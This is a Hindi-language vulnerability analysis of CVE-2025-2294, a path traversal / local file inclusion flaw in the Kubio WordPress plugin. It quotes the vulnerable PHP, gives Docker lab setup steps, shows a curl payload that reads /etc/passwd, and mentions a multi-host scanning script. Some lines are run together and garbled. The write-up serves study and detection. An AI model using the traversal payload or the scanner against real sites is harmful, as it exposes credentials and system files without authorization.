
CVE-2025-2294 — WordPress के लिए Kubio AI Page Builder प्लगइन में Local File Inclusion (LFI) प्रकार की एक गंभीर भेद्यता है। यह भेद्यता अप्रमाणित (unauthenticated) दूरस्थ हमलावर को एक विशेष रूप से तैयार पैरामीटर भेजने की अनुमति देती है, जिससे प्लगइन सर्वर पर किसी मनमानी फ़ाइल को शामिल कर सकता है; यदि कोई शामिल करने योग्य PHP फ़ाइल मौजूद है, तो यह दूरस्थ कोड निष्पादन (RCE) का कारण बन सकता है।
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
__kubio-site-edit-iframe-classic-template पैरामीटर स्वीकार करने वाला सार्वजनिक HTTP(S) endpoint उपलब्ध है।wp-config.php, निजी कुंजियाँ, लॉग)।भेद्य कोड kubio_hybrid_theme_load_template() फ़ंक्शन से संबंधित है, जो वैश्विक ऐरे $_REQUEST तक पहुँचता है:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — मान सीधे वैश्विक इनपुट सेट से लेता है ($_REQUEST $_GET, $_POST, $_COOKIE को जोड़ता है)। `इसका मतलब है कि पैरामीटर दूरस्थ रूप से नियंत्रित है।
यदि पैरामीटर मौजूद है ($template_id सत्य है), तो कोड locate_template([$template_id]) को कॉल करता है।
locate_template() — WordPress उपयोगिता (या प्लगइन में समकक्ष) जो दिए गए सापेक्ष पथ/नाम से टेम्पलेट खोजने के लिए है। सामान्य परिदृश्य में, यह अपेक्षा की जाती थी कि सुरक्षित टेम्पलेट निर्देशिका के भीतर फ़ाइल नाम, जैसे header.php या template-parts/content.php, वहाँ पास किए जाएँ।
लौटाया गया मान ($new_template) फिर उपयोग किया जाता है — मूल कार्यान्वयन में यह मिले पथ को include/require करने या उस पथ को आउटपुट के लिए आगे भेजने का कारण बन सकता है। यह LFI की संभावना पैदा करता है: हमलावर किसी मनमानी फ़ाइल का पथ निर्दिष्ट कर सकता है।
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
अनपैक करने के बाद चलाने के लिए http://localhost:8080/wp-admin/plugins.php पर जाएँ और प्लगइन सक्रिय करें
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
यह पैरामीटर एक स्ट्रिंग भेजता है, जिसे प्लगइन टेम्पलेट पहचानकर्ता/पथ के रूप में उपयोग करता है।
भेद्य कोड खंड में, मान $_REQUEST से लिया जाता है और बिना किसी पूर्व सामान्यीकरण या प्रतिबंध के locate_template() को भेजा जाता है। परिणामस्वरूप, path traversal संभव है: यदि मान में ../ अनुक्रम डाले जाते हैं, तो अंतिम पथ अपेक्षित टेम्पलेट निर्देशिका से बाहर निकलकर फ़ाइल सिस्टम पर किसी भी फ़ाइल को इंगित कर सकता है (जिसमें /etc/passwd शामिल है)।
वास्तव में यही पैरामीटर हमले का पेलोड वहन करता है — इसकी सहायता से हमलावर लक्षित फ़ाइल को निर्दिष्ट करता है।
__kubio-site-edit-iframe-preview=1
यह एक सेवा ध्वज है (पूर्वावलोकन मोड / iframe-edit मोड)। यह अनुरोध प्रोसेसिंग को उस कोड शाखा में स्विच करता है जहाँ __kubio-site-edit-iframe-classic-template में निर्धारित टेम्पलेट पढ़ा और उपयोग किया जाता है।
preview=1 के बिना, प्लगइन classic-template पैरामीटर को संसाधित नहीं कर सकता है या अन्य तर्क का उपयोग कर सकता है; preview=1 के साथ, ऐसी तर्क सक्षम होती है जो टेम्पलेट को पढ़ने और लौटाने की अनुमति देती है, जिससे शोषण संभव हो जाता है।
/wp-content/plugins/kubio/readme.txt फ़ाइल के माध्यम से प्लगइन संस्करण की जाँच करता है।
/etc/passwd के आउटपुट की जाँच करता है
स्क्रिप्ट /etc/passwd के आउटपुट की जाँच करती है, लेकिन मल्टीथ्रेडिंग के कारण nuclei की तुलना में कई गुना तेज़ है, और एक साथ कई होस्ट्स को स्कैन करने का समर्थन भी करती है।
python3 scan.py --target http://localhost:8080
